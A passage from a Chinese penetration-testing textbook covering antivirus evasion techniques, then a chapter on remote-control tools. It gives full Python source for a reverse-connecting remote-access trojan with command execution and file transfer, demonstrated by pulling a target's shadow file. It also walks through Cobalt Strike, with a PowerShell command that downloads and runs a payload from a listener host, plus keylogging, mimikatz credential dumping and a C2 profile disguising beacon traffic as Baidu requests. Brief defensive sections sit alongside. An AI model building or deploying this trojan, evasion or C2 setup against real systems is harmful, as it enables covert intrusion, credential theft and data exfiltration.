·BackDoor-factory工具，又称后门工厂（BDF），利用该工具，可以在不破坏原来的可执行文件功能的前提下，在代码中注入恶意的shellcode攻击代码。BackDoor-factory不仅可以单独使用，还可以嵌入其他工具生成的shellcode中。其原理是替换原有程序的二进制数据中的00字段，并且在程序执行时跳转到替换的代码段，触发Payload程序。

免杀的工具多种多样，但运用的方式大致都是相同的。免杀处理大致可以分为两种类型：一种是通过二进制实现免杀，或通过修改asm代码、二进制数据、其他数据来完成免杀；另一种是源码免杀，可以通过修改源代码免杀，也可以结合二进制进行免杀。也可以分为静态文件免杀、动态行为免杀。

其中，静态免杀可以通过修改特征码来进行。要查找文件的特征码，可以使用特征码定位工具，如CCL、MYCCL、VirTest等。找到特征码后，修改特征码的值，就能做到静态免杀。还可以通过一些工具的加密、加壳等手段进行静态免杀。

动态监测的原理是通过拦截恶意行为，如注册表操作、文件写入、杀进程、劫持等来发现木马程序。恶意的行为都是通过API的调用完成的，杀毒软件通过拦截这些API的调用来实现拦截。那么动态免杀的思路就出来了，分为以下几种：

·替换API。使用有同等功能的API替换，杀毒软件并不会拦截所有的API操作，所以替换成杀毒软件不拦截的API进行操作即可绕过动态监测。

·未导出API。寻找具有相同功能且未被导出的API，分析API的内部调用情况，进行API替换。

·重写API，即通过逆向操作重写API的功能。

·跳字节。一部分杀毒软件的API拦截操作是通过对API的前几个字节内容的监测实现的，如果跳过了头部字节，就可以避开这种拦截方式。

·底层API。可通过寻找底层的API调用绕过拦截。

10.4　防御策略

了解了免杀原理后，我们再来看如何针对这些操作进行防御。10.3节中介绍过，免杀处理主要是分为静态文件免杀和动态行为免杀，那么杀毒软件的防御应该着重关注这两个方面。常用的杀毒软件的检测方法有特征代码法、校验法、行为检测法、模拟法等。

·特征代码法：通过相同的一种病毒或木马文件的部分代码是相同的原理，来识别病毒文件，即通过对比特征来发现病毒和木马。

·校验法：计算文件的校验值并保存，定期进行对比或者在调用文件时对比，从而检测文件是否被感染。

·行为检测法：通过分析病毒或木马的行为特征，如注册表操作、添加或删除用户等来进行检测。

·模拟法：通过模拟病毒运行的方式检测病毒。

10.5　小结

代码注入和进程注入是较为常见的shellcode注入方式，但如今的杀毒软件对于这两种注入方式都有比较有效的防护，使注入的脚本容易被查杀，这时需要对代码进行再加工，如进行异或混淆等，提升shellcode执行成功率。

除了本章介绍的异或、混淆、加壳之外，还有很多免杀处理方式，单一的免杀处理效果不理想时可以将多种免杀方式结合在一起。

第11章
远程控制工具

远程控制（远控）在渗透过程中有着非常重要的应用。如果渗透的过程是打开目标系统的一扇大门，那么部署远程控制工具就是占领目标系统，获取目标的控制权，站稳自己的“脚跟”，通过持续性信息搜集，扩大自己的“战果”。本章主要介绍远程控制工具的使用、脚本编写以及防御策略。主要内容包括：

·远程控制工具简介，用Python编写远程控制工具的相关模块。

·远程控制工具的编写。

·远程控制工具的使用。

11.1　简介

远程控制工具由两部分组成：主控端与被控端。只需要在目标系统上部署被控端软件，主控端就能继承被控端的权限并进行操作，即主控端向被控端发出远程控制指令，远程控制被控端的计算机进行操作。

曾经风靡一时的“灰鸽子”就是这样一个远程控制工具，比起它的前辈“冰河”“黑洞”，“灰鸽子”的功能更加丰富。强大的功能、灵活多变的操作、良好的隐藏性让它变得更加棘手。客户端的操作简易便捷，使得新手黑客都能掌握，这为防御工作带来了极大挑战。据统计，早在2005年的时候，“灰鸽子”就已经感染了近百万台计算机。

现在，世界上涌现出许多远程控制工具，例如TeamViewer、向日葵、网络人等。有的是方便人们进行远程办公，有的则是方便攻击者打造后门。

远程控制工具分类的标准有很多，除了上面介绍的主控端和被控端分类，还有另一种比较常用的分类标准，就是连接方式，可分为正向连接和反向连接。

·正向连接：在目标系统中安装主控端后，被控端软件会打开目标系统的一个端口，然后会等待主控端进行连接。正向连接在实际操作过程中具有很大困难，因为此时需要知道目标系统的IP地址，就算知道目标系统的IP地址，也可能由于对方处于内网环境或者由于一些防护软件使连接失败。

·反向连接：在目标系统中安装主控端后，主控端不需要主动连接被控端，只需要打开端口等待被控端进行连接。因此，主控端也不需要知道目标系统的IP地址，同时，连接请求是由目标系统主动发起的，不容易被防护软件拦截，成功的概率更大。

攻击者所使用的远程控制工具大多数都采用了反向连接这种形式。

11.2　Python相关的基础模块

在编写远程控制工具之前，先要介绍用Python编写远程控制工具时所需要的相关模块，为接下来编写工具打下基础。

1.subprocess模块

subprocess模块的主要作用是执行外部的命令和程序。当我们运行Python的时候，其实也是在运行一个进程，而用subprocess模块可以创建一个子进程来执行命令。

subprocess模块包含许多创建子进程的函数，这些函数分别以不同的方式创建子进程，我们可以根据需要来从中选取一个使用。另外，subprocess还提供了一些管理标准流（standard stream）和管道（pipe）的工具，从而实现在进程间使用文本通信。

（1）subprocess.call（args，*，stdin=None，stdout=None，stderr=None，shell=False，cwd=None，timeout=None）

其中，args参数可以接收一个数组或字符串来作为运行命令。若args为数组，则需要将命令和参数分开，否则会出现No such file or directory错误。

当args接收的参数为数组，且格式正确时，会输出命令执行结果并返回0：

当args接收的参数为数组，但是命令和参数没有分开时，会报错：

若args接收的参数为字符串时，需要让shell为True。这样subprocess.call（）函数会把接收到的字符串当作命令并调用shell去执行，成功执行后返回执行结果并返回0，如下所示：

仔细观察会发现subprocess.call（）函数在执行完由args指定的命令后，会有返回值0。这里返回值为0，就表示命令执行成功（return code，0表示成功，非0表示失败）。

stdin、stdout、stdeer分别表示程序的标准输入、输出、错误句柄。它们可以是PIPE、文件描述符或文件对象，默认值为None，表示从父进程继承。本章不会用到这几个参数，所以不展开讲解。

（2）subprocess.check_call（args，*，stdin=None，stdout=None，stderr=None，shell=False，cwd=None，timeout=None）

该函数与subprocess.call（）函数类似，不同之处在于subprocess.check_call会对返回值进行检查。如果返回值非0，则会抛出CallProcessError异常。subprocess.CalledProcessError异常包括returncode、cmd、output等属性，其中returncode是子进程的退出码，cmd是子进程的执行命令，output为None。具体使用案例如下所示。

当subprocess.call执行成功时，会显示执行结果并返回0：

当subprocess.call执行失败时，会抛出CallProcessError异常：

可以通过try…except…语句来捕获CallProcessError异常，并分别打印输出returncode、cmd、output的内容：

（3）subprocess.check_output（args，*，stdin=None，stderr=None，shell=False，cwd=None，encoding=None，errors=None，Universal_newlines=None，timeout=None，text=None）

subprocess.check_output（）函数与前面两个函数的主要区别在于它会以字符串形式返回执行结果的输出。这个函数同样会进行返回值检查，若returncode不为0，则会抛出subprocess.CalledProcessError异常，效果如下所示：

2.Struct模块

接下来，我们介绍另一个模块——Struct模块。这个模块主要用于解决Socket传输数据时粘包的问题。在Python中只定义了6种数据类型：数字、字符串、列表、元组、字典、集合，但是没有定义字节类型的数据，因此在Socket数据传输中需要转换为字节流。

在传送文件前，通过这个模块将文件的属性（文件大小）按照指定长度转换打包，发送给对端计算机。对端计算机先接收这个固定长度的字节内容来查看接下来要接收的文件的大小是多少，那么最终接收的数据只要达到这个大小，就说明文件接收完毕，以此解决Socket文件传输粘包问题。

这里用到的函数主要为pack（）、unpack（）和calcsize（）。转换的操作格式如表11-1所示。

表11-1　format格式

（1）struct.pack（format，v1，v2，...）

该方法返回一个bytes对象，其中包含格式字符串format以及打包的值v1，v2，…，参数个数必须与格式字符串所要求的值完全匹配，如下所示：

（2）struct.unpack（format，buffer）

该方法根据格式字符串format从缓冲区buffer解包（假定是由pack（format，...）打包）。结果为一个元组，即使其只包含一个条目，如下所示：

（3）struct.calcsize（format）

该方法计算格式字符串所对应的结果的长度，如下所示：

11.3　被控端的编写

本节将开始着手用Python编写远程控制工具。因篇幅限制，这里主要编写两个常用的功能：命令执行和文件传输。当然，好的远程控制工具的功能远远不只这些，读者可以在此基础上增加新的功能。具体步骤如下。

1）编写主函数并导入相关模块。我们让被控端主动连接主控端（反向连接），连接成功时会将自己的主机名发送给主控端。同时，主控端可以进行功能选择（命令执行和文件传输），所以我们还要写一个死循环，让被控端根据主控端的回馈信息进入相应的模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import socket
import struct
import os
import subprocess

if __name__ == '__main__':
    # 连接主控端
    clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientSocket.connect(('127.0.0.1', 6666))
    # 发送被控端的主机名
    hostName = subprocess.check_output("hostname")
    clientSocket.sendall(hostName)

    # 等待主控端指令
    print("[*]Waiting instruction...")
    while True:
        # 接收主控端的指令，并进入相应的模块
        # 接收到的内容为bytes型，需要将decode转换为str型
        instruction = clientSocket.recv(10).decode()
        if instruction == '1':
            Execommand(clientSocket)
        elif instruction == '2':
            TransferFiles(clientSocket)
        elif instruction == 'exit':
            break
        else:
            pass

    clientSocket.close()

2）编写命令执行函数。被控端接收主控端的命令执行，并将命令执行的指令进行命令、参数分割。因为subprocess模块不能跨工作目录执行命令，所以对一些命令需要通过其他手段实现。例如，cd命令是无法通过subprocess实现的，执行cd命令会导致被控端报错，所以需要用os.chdir来代替cd命令。

同时，我们还要增加try{…}expect{…}语句，当被控端报错时能及时捕获并处理错误，重新进入命令执行的循环，提高被控端的可靠性：

# 命令执行函数
def Execommand(clientSocket):
    while True:
        try:
            command = clientSocket.recv(1024).decode()
            # 将接收到的命令进行命令、参数分割
            commList = command.split()
            # 接收到exit时退出命令执行功能
            if commList[0] == 'exit':
                break
            # 执行cd时不能直接通过subprocess进行目录切换，
            # 否则会出现[Errno 2] No such file or directory错误，
            # 要通过os.chdir来切换目录
            elif commList[0] == 'cd':
                os.chdir(commList[1])
                # 切换完毕后，将当前被控端的工作路径发给主控端
                clientSocket.sendall(os.getcwd().encode())
            else:
                clientSocket.sendall(subprocess.check_output(command,
                    shell=True))
        # 出现异常时进行捕获，并通知主控端
        except Exception as message:
            clientSocket.sendall("Failed to execute, please check your
                command!!!".encode())
        # 报错跳出循环时，通过continue重新进入循环
        continue

3）编写文件传输主函数。因为文件传输包含文件上传和文件下载。我们让文件传输主函数对文件传输命令进行命令、参数的分割。若命令为upload，则调用文件上传函数，若命令为download，则调用文件下载函数：

# 文件传输函数
def TransferFiles(clientSocket):
    while True:
        command = clientSocket.recv(1024).decode()
        # 进行命令、参数的分割
        commList = command.split()
        if commList[0] == 'exit':
            break
        # 若方法为download，则表示主控端需要获取被控端的文件
        if commList[0] == 'download':
            UploadFile(clientSocket, commList[1])
        if commList[0] == 'upload':
            DownloadFile(clientSocket)

4）编写文件传输的上传函数。在传输文件前，要通过struct模块将需要传输的文件信息（文件名、文件大小）进行打包发送给接收端，接收端根据传输文件的大小来对接收到的数据进行计算，防止粘包。当文件信息成功发送后，再真正进行文件的传输。对文件进行多次分块读取发送，防止因为文件过大导致读取文件内容时内存不足：

# 文件上传函数
def UploadFile(clientSocket, filepath):
    while True:
        uploadFilePath = filepath
        if os.path.isfile(uploadFilePath):
            # 先传输文件信息，用来防止粘包
            # 定义文件信息，128s表示文件名长度为128字节，l表示用int类型来表示文件大小
            # 把文件名和文件大小信息进行打包封装，发送给接收端
            fileInfo = struct.pack('128sl', bytes(os.path.basename(uploadFilePath).
                encode('utf-8')), os.stat(uploadFilePath).st_size)
            clientSocket.sendall(fileInfo)
            print('[+]FileInfo send success! name:{0}  size:{1}'.format(os.
                path.basename(uploadFilePath), os.stat(uploadFilePath).st_
                size))

            # 开始传输文件的内容
            print('[+]start uploading...')
            with open(uploadFilePath, 'rb') as f:
                while True:
                    # 分块多次读，防止文件过大时一次性读完导致内存不足
                    data = f.read(1024)
                    if not data:
                        print("[+]File Upload Over!!!")
                        break
                    clientSocket.sendall(data)
                break

5）编写文件传输的下载函数。在下载文件前，需要先接收传输文件信息的包，并拆包得到文件的文件名和大小，这里需要注意的是，拆包后的文件名信息可能会出现多余的字符，此时需要使用strip方法进行清除。在得到传输文件的大小信息后，就可以以此为依据，进行文件数据的分块写入：

# 文件下载函数
def DownloadFile(clientSocket):
    while True:
        # 先接收文件的信息，进行解析
        # 长度自定义，先接收文件信息的主要原因是防止粘包
        # 接收长度为128sl
        fileInfo = clientSocket.recv(struct.calcsize('128sl'))
        if fileInfo:
            # 按照同样的格式（128sl）进行拆包
            fileName, fileSize = struct.unpack('128sl', fileInfo)
            # 要把文件名后面的多余空字符去除
            fileName = fileName.decode().strip('\00')
            # 定义上传文件的存放路径，./表示当前目录
            newFilename = os.path.join('./', fileName)
            print('[+]FileInfo Receive over! name:{0}  size:{1}'.format
                (fileName, fileSize))

            # 接下来开始接收文件的内容
            # 表示已经接收到的文件内容的大小
            recvdSize = 0
            print('[+]start receiving...')
            with open(newFilename, 'wb') as f:
                # 分次分块写入
                while not recvdSize == fileSize:
                    if fileSize - recvdSize > 1024:
                        data = clientSocket.recv(1024)
                        f.write(data)
                        recvdSize += len(data)
                    else:
                        # 剩下的内容不足1024时，则把剩余的全部内容都接收写入
                        data = clientSocket.recv(fileSize - recvdSize)
                        f.write(data)
                        recvdSize = fileSize
                        break
            print("[+]File Receive over!!!")
        break

11.4　主控端的编写

主控端的部分函数与被控端无异，因此笔者对相同的函数不再赘述，下面是实现主要功能的具体步骤。

1）编写主函数并导入相关模块。主控端需要开启监听等待被控端的回连，当接收到被控端的回连时，输出被控端的主机名，并给出功能选择的提示。在主控端选择功能的同时，也要将交互数据传送给被控端，使其根据我们的操作在相应的功能函数中待命：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import socket
import os
import struct

if __name__ == '__main__':
    # 主控端监听地址
    serverIP = '127.0.0.1'
    # 主控端监听端口
    serverPort = 6666
    serverAddr = (serverIP, serverPort)

    # 主控端开始监听
    try:
        serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        serverSocket.bind(serverAddr)
        serverSocket.listen(1)
    except socket.error as message:
        print(message)
        os._exit(0)

    print("[*]Server is up!!!")

    conn, addr = serverSocket.accept()
    # 接收并打印上线主机的主机名、地址和端口
    hostName = conn.recv(1024)
    print("[+]Host is up! \n ============ \n name:{0} ip:{1} \n port:{2} \n
        ============ \n".format(bytes.decode(hostName), addr[0], addr[1]))
    try:
        while True:
            print("Functional selection:\n")
            print("[1]ExecCommand \n[2]TransferFiles\n")
            choice = input('[None]>>> ')
            # 给被控端发送指令，主控端进入相应的功能模块
            if choice == '1':
                # 发送的命令为str型，需要用encode函数把命令转换为bytes型
                conn.sendall('1'.encode())
                ExecCommand(conn, addr)
            elif choice == '2':
                conn.sendall('2'.encode())
                TransferFiles(conn, addr)
            elif choice == 'exit':
                conn.sendall('exit'.encode())
                serverSocket.close()
                break
    except :
        serverSocket.close()

2）编写命令执行函数。只需要把用户的命令传送给被控端执行，并接收被控端回传的命令执行结果即可：

# 命令执行函数
def ExecCommand(conn, addr):
    while True:
        command = input("[ExecCommand]>>> ")
        if command == 'exit':
            # 主控端退出相应模块时，也要通知客户端退出对应的功能模块
            conn.sendall('exit'.encode())
            break
        conn.sendall(command.encode())
        result = conn.recv(10000).decode()
        print(result)

3）编写文件传输函数的主函数。这里的主函数与被控端的文件传输主函数差别不大。主控端在上传文件时，需要传递upload关键字以及需要传送到被控端文件的文件路径。在进行文件下载时，需要传递download关键字，以及需要下载的被控端文件的文件路径：

# 文件传输函数
def TransferFiles(conn, addr):
    print("Usage: method filepath")
    print("Example: upload /root/ms08067 | download /root/ms08067")
    while True:
        command = input("[TransferFiles]>>> ")
        #对输入进行命令和参数分割
        commandList = command.split()
        if commandList[0] == 'exit':
            # 主控端退出相应模块时，也要通知被控端退出对应的功能模块
            conn.sendall('exit'.encode())
            break
        # 若方法为download，则表示主控端需要获取被控端的文件
        if commandList[0] == 'download':
            DownloadFile(conn, addr, command)
        if commandList[0] == 'upload':
            UploadFile(conn, addr, command)

4）编写文件传输的上传函数。传输的过程与被控端无异，只是主控端需要先把命令发送给被控端，然后再执行文件上传：

# 文件上传函数
def UploadFile(conn, addr, command):
    # 把主控端的命令发送给被控端
    conn.sendall(command.encode())
    #从命令中分离出要上传的文件的路径
    commandList = command.split()
    while True:
        uploadFilePath = commandList[1]
        if os.path.isfile(uploadFilePath):
            # 先传输文件信息，用来防止粘包
            # 定义文件信息，128s表示文件名长度为128字节，l表示用int类型表示文件大小
            # 把文件名和文件大小信息进行封装，发送给接收端
            fileInfo = struct.pack('128sl', bytes(os.path.basename(uploadFilePath).
                encode('utf-8')), os.stat(uploadFilePath).st_size)
            conn.sendall(fileInfo)
            print('[+]FileInfo send success! name:{0}  size:{1}'.format(os.
                path.basename(uploadFilePath), os.stat(uploadFilePath).st_
                size))

            # 开始传输文件的内容
            print('[+]start uploading...')
            with open(uploadFilePath, 'rb') as f:
                while True:
                    # 分块多次读，防止文件过大时一次性读完导致内存不足
                    data = f.read(1024)
                    if not data:
                        print("File Send Over!")
                        break
                    conn.sendall(data)
                break

5）编写文件传输的下载函数。传输的过程与被控端无异，只是主控端需要先把文件下载命令发送给被控端，然后再执行文件下载：

# 文件下载函数
def DownloadFile(conn, addr, command):
    # 把主控端的命令发送给被控端
    conn.sendall(command.encode())
    while True:
        # 先接收文件的信息，进行解析
        # 长度自定义，先接收文件信息的主要原因是防止粘包
        # 接收长度为128sl
        fileInfo = conn.recv(struct.calcsize('128sl'))
        if fileInfo:
            # 按照同样的格式（128sl）进行拆包
            fileName, fileSize = struct.unpack('128sl', fileInfo)
            # 要把文件名后面的多余空字符去除
            fileName = fileName.decode().strip('\00')
            # 定义上传文件的存放路径，./表示当前目录下
            newFilename = os.path.join('./', fileName)
            print('Fileinfo Receive over! name:{0}  size:{1}'.format
                (fileName, fileSize))

            # 接下来开始接收文件的内容
            # 表示已经接收到的文件内容大小
            recvdSize = 0
            print('start receiving...')
            with open(newFilename, 'wb') as f:
                # 分次分块写入
                while not recvdSize == fileSize:
                    if fileSize - recvdSize > 1024:
                        data = conn.recv(1024)
                        f.write(data)
                        recvdSize += len(data)
                    else:
                        # 当剩余内容不足1024时，则把剩下的全部内容都接收写入
                        data = conn.recv(fileSize - recvdSize)
                        f.write(data)
                        recvdSize = fileSize
                        break
            print("File Receive over!!!")
        break

这样我们的远程控制工具就编写完成了。

11.5　远程控制工具的使用

本节我们对所编写的远程控制工具的功能进行测试。首先开启主控端程序，如下所示：

接下来打开被控端程序。当被控端打开时，主控端会收到被控端的连接请求。

开启被控端程序：

主控端接收到连接请求并显示被控端主机的信息：

输入“1”让主控端进入命令执行模式，同时工具也会自动将“1”发送给被控端，让其进入命令执行模式。在命令执行模式下执行whoami、pwd命令，执行成功后会得到被控端返回的执行结果，如下所示：

输入“exit”退出命令执行模式，输入“2”进入文件传输模式，被控端也同样会接收到相应指令，进入文件传输模式。首先对被控端上的shadow文件进行下载：

成功下载shadow文件后将其存入主控端的目录下：

接下来，我们把主控端中/root/ms08067文件上传到被控端：

成功上传ms08067文件后，会将文件存入被控端的目录下：

11.6　Cobalt Strike的使用及拓展

Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具，集成了端口转发、服务扫描、自动化溢出、多模式端口监听、exe、PowerShell木马生成等，主要用于团队作战，能让多个渗透者同时连接到团体服务器上，共享渗透资源、目标信息和sessions。Cobalt Strike作为一款协同APT工具，其针对内网的渗透测试和作为APT的控制终端的功能，使其变成众多APT组织的首选。运行Cobalt Strike时需要安装好Java环境，可以选择Oracle Java 1.8、Oracle Java 11或OpenJDK 11进行安装。

Cobalt Strike的基本架构如下：

├── agscript 拓展脚本
├── c2lint 检查 c2 通信配置文件错误
├── cobaltstrike
├── cobaltstrike.auth 认证文件
├── cobaltstrike.jar 客户端主程序
├── icon.jpg
├── license.pdf
├── logs 记录 cs 中所有事件，按日期格式区分
├── readme.txt
├── releasenotes.txt
├── teamserver 团队服务器
├── teamserver_win.bat
├── third-party 第三方模块，下面是 vnc
│ ├── README.winvnc.txt
│ ├── winvnc.x64.dll
│ └── winvnc.x86.dll

1.启动团队服务器

启动团队服务器（TeamServer），需要以root身份运行，并且需要添加两个必选参数。第一个是团队服务器的外部可访问地址，第二个是用于团队成员将Cobalt Strike客户端连接到团队服务器的密码。本节示例IP为192.168.111.128，登录密码设置为test，如图11-1所示。

图11-1　启动Cobalt Strike服务

2.连接团队服务器

图11-2　连接服务

在命令终端运行Cobalt Strike，填写IP地址为192.168.111.128，Cobalt Strike启动时的默认端口为50050，昵称可以根据自己的喜好填写，这里写成neo，密码为服务端启动时设置的密码admin，详细配置信息如图11-2所示。

点击Connect按钮后便成功登录团队服务器。如图11-3所示为成功登录后的Cobalt Strike运行界面。Cobalt Strike的主界面主要分为菜单栏、快捷功能区、目标列表区、控制台命令输出区和控制台命令输入区。

·菜单栏：集成了Cobalt Strike的所有功能。

·快捷功能区：列出了常用功能。

·目标列表区：根据不同的显示模式，显示已获取权限的主机及目标主机。

·控制台命令输出区：输出命令执行结果。

·控制台命令输入区：用户输入的命令。

图11-3　登入服务

3.建立Listener

现在可以利用Cobalt Strike获取一个Beacon。可以通过在菜单栏选择Cobalt Strike→Listeners命令进入Listeners面板，如图11-4所示。

图11-4　进入Listeners面板

在Listeners面板中点击Add按钮，新建一个监听器，如图11-5所示。

图11-5　创建监听器

在弹出的对话框中点击Save按钮后会弹出一个窗口，依次在窗口中输入名称、监听类型、Cobalt Strike运行服务的IP地址、监听端口号。其中，监听器一共有9种类型，beacon系列为Cobalt Strike自带类型，分别有DNS、HTTP、HTTPS、SMB、TCP。foreign系列用于配合外部监听器，可使用其他主机远程控制Cobalt Strike中的主机，一般配合MSF使用。这里选择监听器类型为HTTP方式，点击Save按钮进行保存，如图11-6所示。

图11-6　HTTP方式监听

4.生成Payload

这里使用Web Delivery生成一个Payload。在菜单栏中依次选择Attacks→Web Drive-by→Scripted Web Delivery命令，如图11-7所示。

图11-7　生成Payload

保持默认配置，选择已经创建的监听器，设置类型为powershell，然后点击Launch按钮，如图11-8所示。

点击Launch按钮以后，会出现一段powershell类型的Payload代码，如下所示，将其复制下来，并在远程目标主机中执行该命令，效果如图11-9所示。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).download
    string('http://192.168.111.128:80/a'))"

图11-8　PowerShell方式

图11-9　运行命令

执行该命令后便会回连，Cobalt Strike目标列表中会显示目标服务器IP地址、出口地址、当前用户、计算机名、当前Beacon的pid号以及响应时间，如图11-10所示。

图11-10　成功回连

Cobalt Strike默认Beacon是60s响应一次。为了方便使用，这里设置成0s。选中需要操作的Beacon，右击，然后选择Interact命令进入主机交互模式，如图11-11所示。

在控制台命令输出区输入sleep 0命令后，等待60s，此时便改成了与目标主机进行实时响应，如图11-12所示。

除了以上的powershell类型反弹Beacon的方式以外，Listeners模块中也集成了许多其他的Payload形式，如表11-2所示。

图11-11　进入交互模式

图11-12　修改时间

表11-2　Listener模块的所有Payload

5.基本操作

Cobalt Strike工具集成了大量便捷的命令模式，简化了以后渗透攻击过程中复杂的信息搜集、提权、跳板等一系列操作。例如，可以尝试使用ps命令，或者用右击并选择Explore→Process list命令的方式查看当前进程，如图11-13和图11-14所示。

图11-13　用命令行的方式查看进程

图11-14　用右击的方式查看进程

使用screenshot命令对目标主机进行截屏，可通过View→Screenshots选项查看截屏内容，如图11-15所示。

图11-15　查看截屏内容

同样，在Cobalt Strike中也可以使用键盘记录功能，如图11-16所示。

图11-16　键盘记录

用View→Keystokes选项查看键盘记录，如图11-17所示。

图11-17　查看键盘记录

Cobalt Strike工具中还加入了mimikatz\logonpasswords等抓取凭证功能，可以对目标主机进行口令抓取，如图11-18所示。

图11-18　抓取凭证

Cobalt Strike中集成的命令还有很多，此处就不一一介绍了，读者可在与目标的交互界面中输入help或者“？”进行查询，执行结果如图11-19所示。

图11-19　查看功能信息

6.C2通信配置文件

为了保证通信过程中的数据更加安全可靠，我们也可以通过修改beacon特征，伪装流量，来使通信更隐蔽，单一团队服务器只能加载一个profile。这里通过抓包来看一下Cobalt Strike的默认通信特征，如下所示。

这里可以通过编写一个简单的C2配置来修改通信特征。我们可以模仿baiduspider通信，建立一个baidu.profile文件。

1）设置项目名字：

set sample_name "Baidu Profile";

2）设置beacon每次回连的时间，系统默认为60s，为了增加隐蔽性，此处设置为1000s回连一次，如下所示：

set sleeptime "1000";

3）设置随机抖动时间：

set jitter "17";

4）设置baiduspider的User Agent标识：

set useragent "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.
    com/search/spider.html)";

5）设置beacon http请求事件，这里使用Get方式模仿一个百度搜索的过程：

http-get {
set uri "/s/ie=utf-8&newi=1&mod=11&isbd=1_";
server {
header "Server" "BWS/1.0";
header "Set-Cookie" "delPer=0; path=/; domain=.baidu.com"; header "Cache-
    Control" "private";
header "Connection" "keep-alive";
header "Content-Encoding" "gzip";
header "Content-Type" "text/html;charset=utf-8";
header "Vary" "Accept-Encoding";
output {
prepend "<div><div id=\"__status\">-12</div><div id=\"__redirect\">0</div><div
    id=\"__switchtime\">0</div><div id=\"__querySign\">e95d0ebc1edd32aa</
    div><script id=\"__sugPreInfo\">{\"prefix\":\"ss\",\"presearch\":\"0\",
    \"query\": \"ss\",\"sug\":\"\",\"ps\":\"0.000611\",\"ss\":\"0.000000\",
    \"debug\ ":\"0232\",\"wd\":";
append "}</script></div>";
print;
}
}
 client {
header "Accept" "*/*";
header "Accept-Language" "en,zh-CN;q=0.9,zh;q=0.8"; header "Host" "www.
    baidu.com";
header "s_referer" "https://www.baidu.com/";
metadata {
mask;
base64url;
parameter "isid";
}
} }

6）使用Post的方式模拟百度搜索：

http-post {
set uri "/s/ie=utf-8&newi=1&mod=11&isbd=1";
server {
header "Server" "BWS/1.0";
header "Set-Cookie" "delPer=0; path=/; domain=.baidu.com"; header "Cache-
    Control" "private";
header "Connection" "keep-alive";
header "Content-Encoding" "gzip";
header "Content-Type" "text/html;charset=utf-8";
header "Vary" "Accept-Encoding";
output {
prepend "<div><div id=\"__status\">-12</div><div id=\"__redirect\">0</div><div
    id=\"__switchtime\">0</div><div id=\"__querySign\">e95d0ebc1edd32aa</
    div><script id=\"__sugPreInfo\">{\"prefix\":\"ss\",\"presearch\":\"0\",
    \"query\": \"ss\",\"sug\":\"\",\"ps\":\"0.000611\",\"ss\":\"0.000000\",
    \"debug\ ":\"0232\",\"wd\":";
append "}</script></div>";
print;
}
}
 client {
header "Accept" "*/*";
header "Accept-Language" "en,zh-CN;q=0.9,zh;q=0.8"; header "Host" "www.
    baidu.com";
header "s_referer" "https://www.baidu.com/";
id {
parameter "isid";
}
output {
mask;
base64url;
print;
} }
}

最后使用c2lint检查C2配置，如下所示。

使用团队服务器加载刚刚编写好的C2配置文件，如下所示：

加载完成后反弹一个shell看一下实际效果，如下所示：

使用Wireshark抓取数据包，查看通过C2配置文件后的流量情况，如图11-20和图11-21所示。

图11-20　抓取的数据位置

图11-21　抓包的数据

通过抓取的数据包可以发现，所有流量都通过刚刚编写的文件进行了修改，从而增加了shell的隐秘性。

11.7　小结

经过本章的学习，我们对远程控制工具的编写有了一定的认识并掌握了基本的编写方法，还对主流的远程控制工具Cobalt Strike进行了简单介绍。当然，好的远程控制工具应当具备更多的功能，读者也可以通过Python脚本自行开发更加实用的远程控制工具。

在日常生活中也要警惕陌生的软件、压缩包等，不要轻易打开。打开前用杀毒软件进行扫描可以更好地避免恶意软件的入侵，但是最保险的方法是将软件放入虚拟机中运行，即使受到感染也不会影响宿主机。

附录　Python实战项目

此处先跟大家分享一个与Metasploit类似的基于Web的渗透测试平台，该平台允许用户加入自定义脚本，只需要提交自定义的脚本并编写脚本对应的Web界面模板就可以直接在平台上使用，也可以通过模板直接引入在线网页工具，Web界面友好，无须进行复杂的设置，只需要在Web界面填入参数即可，其他的就交给平台来处理。

平台环境要求为Docker+Docker-compose，这个demo版本已实现了一些基本功能。希望读者看完本书，掌握了相应的技能后，可以利用在本书中学到的知识尝试着修改本平台，把平台功能变得更强大、更完善，比如可以和MSF进行联动。平台登录界面如附图1所示。

附图1　平台登录界面

下面简单介绍一下如何把在本书中学到的知识结合本平台来用于实战。

假设我们在实战中需要实现“信息收集”的功能，这里就可以添加一个“信息收集”分类，登录网站后台http://ip:8090/admin，在“脚本分类”中添加分类，分别写上脚本分类的名称以及对应的脚本文件夹名称。添加完成后，就可以看到平台就会增加一个“信息收集”的分类，如附图2所示。

接着需要给脚本写一个Web模板，Web模板的名称与脚本的名称同名，但是后缀要改为.html。平台会根据“脚本名称.html”这个格式自动读取渲染脚本的Web界面。大致执行流程如附图3所示。

附图2　在平台中添加“信息收集”分类

附图3　执行脚本的流程

平台中加入了bootstrap和layui，可以按照相应的语法来编写自己的Web模板。Web模板也支持Django语言，在读取渲染时会被执行。

接着以本书4.2.4中“端口扫描”脚本为例，编写“端口扫描”脚本的Web模板，内容如下：

<div class="layui-body" id="pocTest" style="padding: 15px;">
    <div class="layui-row">
        <div class="layui-col-md4">
            <div class="grid-demo grid-demo-bg1">&nbsp;</div>
        </div>
        <div class="layui-col-md4">
            <div class="grid-demo grid-demo-bg1">
                <br/>
                <br/>
                <br/>
                <br/>
                <div class="h1 col-md-offset-4"><b>端口扫描</b></div>
                <br/>
                <hr>
                <form method="post" role="form" action="" name="scriptform"
                    target="_blank">
                    {% csrf_token %}
                    <!-- scriptID这个元素一定要有，用来让后台识别调用哪个脚本 -->
                    <div class="form-group" hidden>
                        <label for="scriptID">脚本名称</label>
                        <input type="text" class="form-control" id="scriptID"
                            name='scriptID' placeholder="脚本ID"
                            value="{{ script_id }}">
                    </div>
                    <!-- 下面按需增加元素 -->
                    <div class="form-group">
                        <label for="num1">目标IP</label>
                        <input type="text" class="form-control" id="num1"
                            name='-i' placeholder="目标的IP地址">
                    </div>
                    <div class="form-group">
                        <label for="num2">扫描的端口</label>
                        <input type="text" class="form-control" id="num2" name=
                            "-p"
                            placeholder="可以指定单个端22，也可以指定端口范围1-8080">
                    </div>
                    <div class="form-group">
                        <label for="num2">线程数</label>
                        <input type="text" class="form-control" id="num2" name=
                            "-t" placeholder="线程数">
                    </div>
